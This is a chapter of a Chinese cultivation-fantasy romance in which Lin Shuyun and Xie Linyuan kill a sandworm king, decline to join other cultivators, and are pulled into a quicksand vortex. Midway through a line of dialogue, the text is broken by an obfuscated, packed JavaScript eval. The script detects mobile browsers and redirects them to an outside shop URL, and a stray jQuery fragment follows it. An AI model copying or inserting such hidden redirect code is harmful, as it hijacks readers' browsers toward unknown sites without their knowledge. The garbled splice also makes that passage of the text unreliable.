谢临渊没有说话,就着抱她的姿势,后退着飞向了远离沙虫的地方。
随着距离的迅速拉远,那股恶心的腐臭味渐渐淡去,林疏云才重新开始呼吸。
“那沙虫身上到底有什么……”她忍不住又开始干咳,只能将鼻子凑近咪咪师父,闻他身上的冷香,平复那股想吐的冲动。
“亡墟时缕,古虫不死不僵,蜕去凡躯,便会凝成能映照过往、穿梭岁月的法宝。”
“什么意思?能看见过去么?”林疏云有些好奇,“真有这么厉害?”
“只是有这种说法,并不是所有僵足虫都有。”谢临渊仍是遥遥地看着那大沙虫,“没有的才是多数。”
林疏云看他一动不动地站着:“咪咪师父想要获得那亡墟时缕么?”
“不是特别想。”他诚实地答。
“那就是有点想。”
林疏云很可以理解,谁不想得到这样能看到过去的法宝呢,大家总有些好奇的事,她自己也有点想要。
但那大沙虫是这样滔天,正在与它战斗的人又那样多,就算打败了也不一定有,就算真的有也不一定能抢到。
她不禁有些犹豫,吃力不讨好的概率太大了。
但是……咪想到,咪的主人会为他得到。
“你等着。”她深吸了一口气,闭气向那大沙虫的方向飞去。
谢临渊还没反应她说了什么,她的身形已然飞速掠了出去,在高空中急急射出几箭,带着灵力的箭直直破开沙虫王的壳,溅出一道腥血。
剧痛彻底激怒巨虫。
沙虫王仰天狂啸,庞大身躯猛地自沙海中暴窜而起。
它狂怒翻腾,巨躯遮天蔽日,一时间天地为之一暗,狂风卷沙席卷四野。
她不曾退怯,挽弓再振,一箭接一箭破空射出,箭箭逼向虫王创口,不断撕裂它的巨壳。
下方修士见巨虫破绽已现,当即齐齐催动术法、合力猛攻。剑光、法焰铺天盖地轰向创口,终是趁它剧痛难挡之际,众力齐发,将这头秘境守关巨兽彻底斩杀。
虫躯重重砸落黄沙,震起漫天尘浪。
但什么也没有发生,那大虫的尸体里没有金光出现,也没有时光错乱的迹象。
看起来这只是一只普通的大沙虫,林疏云有些沮丧地飞了回去。
谢临渊不明白她为什么刚刚还怕得要命,突然又出手帮那些修士杀了那大虫。
“本来以为能出个法宝,然后带回来当战利品送给你的。”沙虫王的腐臭味变得更明显了,她刚才硬是用嘴呼吸才没有被熏得吐出来,“但它这么弱,应该是真的没什么法宝在身上。”
林疏云原本梦想着做个能成功狩猎,让家里的猫露出崇拜眼神的主人。
但失败了。
谢临渊有些意外,他低低笑了一声,在风沙中不是很清晰,又有点像是用鼻子哼了一下。
沙虫王已死,小沙虫们纷纷钻入地底,天地重归寂然。
她足尖踏在细沙上,绵软无声,谢临渊缓步跟在她身后,踩着她的足迹,将那浅浅陷下的痕迹踩得更深些。
足迹长长地拖在身后,渐渐被微风抚平,仿佛从无波澜。
“不要踩我的影子,你好幼稚。”林疏云伸出一根手指点着他。
“我在踩你的脚印。”他说。
林疏云顿时不觉得幼稚了,好像猫就是会循着前面一只猫的脚印走路。
她莫名生出一种做领头猫的责任感来,昂首挺胸地向前走着:“那你要跟好我。”
“我们要去哪?”
她也不知道,但领头猫怎么可以回答不知道。
“去该去的地方。”
谢临渊没有说话,她疑惑地回头看了一眼他是否跟上。
“有人来了。”他低声说。
“帽子,帽子!把脸遮住!”她一下反应过来,拿起手里的帷帽给他戴上。
轻薄纱幔自上方垂落,纱料轻软落在肩上,将两人一同笼在方寸阴影里。
外人只看得见两道交叠的模糊身影,藏在同一片帷纱之下,亲密无间。
林疏云却一点暧昧都没有感觉到,她只慌张地整理着缠在一起的纱幔,太过柔软的布料被风一吹便纠缠在一起。
越是慌乱越是解不开,她只得将下方绕在一起的纱料整片撕断。
远处众修士只看见两人躲在帷帽下挨得极近,便放慢脚步,不敢随意靠近。
唐青染直接捂住了小师妹的眼睛:“非礼勿视!”
林疏云终于将帷帽弄好,确保他的脸被完全遮住,长舒一口气,向众人过来的方向看去。
他们各个左顾右盼,一副故作忙碌的样子。
只有唐青染带的小师弟嗓门大又嘴快:“灼灼姐在干嘛呀!打了沙虫也不来分战利品!”
唐青染捂嘴都来不及,只能干巴巴地笑了两声:“哈哈,想着你们应该还没走远,来与你们分些沙虫身上的灵材。”
“喔……”林疏云快步走过去,没有了帷帽的她被风沙吹得眯着眼,“沙虫长得太恶心了,我不敢多看,而且好臭。”
定睛一看这群人竟有近二十个,都是刚刚与沙虫王战斗的修士们,他们修为都不算太高,与沙虫王一战后已是筋疲力尽,便商量着一起行动,互相帮助。
远远瞧着卫家两兄妹,想借着送灵材的托词来问他们要不要加入一起。
毕竟刚刚正是卫灼出手轻松控制了那沙虫王,他们才能勉强击败了那巨兽。
要是一路上能有这二人一起,便能安心许多。
但看这兄妹亲密的样子,他们也不好意思开口了,只说了分灵材的事。
林疏云大致看了看,除了一剑会,还有一个队伍来自春风谷,剩下几个应当都是散修。
虽是临时组成的队伍,但孩子们大多心性纯真又开朗活泼,很快就打成了一片,几个师兄师姐有人帮忙一起看孩子,也轻松了些。
“沙虫的灵材就不用分给我们了。”林疏云微笑着说,“主要是你们的功劳,我只是趁虚补刀。”
“灼灼姐要和我们一起么?秘境出口还有好几日才打开呢,我们准备再去狩些小的妖兽。”
林疏云回头看了一眼谢临渊:“我问下师兄。”
唐青染连忙开口:“不用理会这孩子,你们若是另有安排,尽管自去,不必顾着我们。”
林疏云知道咪咪师父不是很喜欢小孩,她便带着歉意道:“那我们便不一同前往了。师兄
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17660077|205255||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
与我打算四处随意逛逛,便就此出去。”
众修士纷纷说了些客套话,便带着些看破不说破的表情转身离开了。
“你不觉得他们怪怪的,怎么都一副欲言又止的样子?”等他们走远了,林疏云才问。
谢临渊平淡回答:“有一点。”
“我脸上有什么东西么?”她仰着头让他帮忙看,“不会是刚刚打沙虫溅了臭汁在身上吧?你帮我闻闻臭不臭。”
“不臭。”他低头看着她左晃右转的样子,又抓住了她的手,“走吧,不要管他们了。”
两人寻了个位置,挖了个沙窟,躲在里面避风沙。
林疏云本来就只想在秘境里随意混几天就回去,本来连沙虫都没打算打,现在还战斗了几分钟呢,已经超额完成任务。
“哪个秘境有大海,我想去赶海。”她靠在沙堆上,百无聊赖地说,“这个秘境除了虫子和沙子,什么都没有,连骆驼和羊驼都没有。”
谢临渊想了想:“等你化神境了,可以自己占一个。”
“秘境可以随意占下么?”她提起了些精神。
“无主的秘境可以占,但时时刻刻需要分灵力去维持。”他说。
林疏云顿时觉得好麻烦,便恹恹道:“那算了,外面也不是没有海可以看。”
她把手撑在下巴上,呆呆地看着外面:“等出去之后,就可以回去了。这次我要在家待半年都不出门。”
林疏云又低下头去拨弄沙子,感受着细碎的沙粒从指缝里簌簌落下。
她有些伤感,感觉很多东西就这样簌簌流走了,一眨眼小猫变成了高中男生,平静的生活被搅得一团乱。
“你看,这是一个巨大的猫砂盆,你可以在里面尽情拉屎。”她悲极生乐,“嘿嘿。”
谢临渊突然站了起来。
林疏云抬头看着他:“你不会真的要去拉吧,这样不好吧?”
他一把抓住她的手,将她往空中带:“走。”
林疏云有些踉跄地被他拎到空中,低头一看,却发现天地已经骤变。
荒漠腹地的黄沙下陷出一个深坑,以凹陷处为中心,巨大的流沙漩涡凭空成型,将周遭散落的碎石、枯败荒草、层层叠叠的流动黄沙全都疯狂拉扯了进去。
沙浪翻涌塌陷,地面裂纹飞速蔓延扩张,整块沙域都在剧烈震颤。
大小石块凌空翻滚,裹挟在狂乱的沙流里飞速坠向漩涡深处,厚重沙墙顺着旋流层层坍落,天地间沙尘狂舞。
越靠近中心吸力越是凛冽,周遭一切活物与死物皆无从挣脱,被无情卷入盘旋的浊黄涡流。
“这是什么?”她也发现了事情的不对,随即全速跟着谢临渊向漩涡的反方向飞离。
“流沙渊,一旦被吸入,便会被引渡到任意空间。”他又加快了一些速度,但仍感觉背后的吸力越来越强。
两人以最快的速度飞行,但林疏云仍感觉四肢像是被无形的力道向下拖拽,一步步被拉向飞速旋转的黄沙尘涡。
突然之间,天旋地转,周遭景物寸寸碎裂。
乱流缠绕着周身,一片朦胧中,谢临渊紧紧抱着她。
两人一同被整片荒漠漩涡彻底吞没,消失在了这鸣沙秘境之中。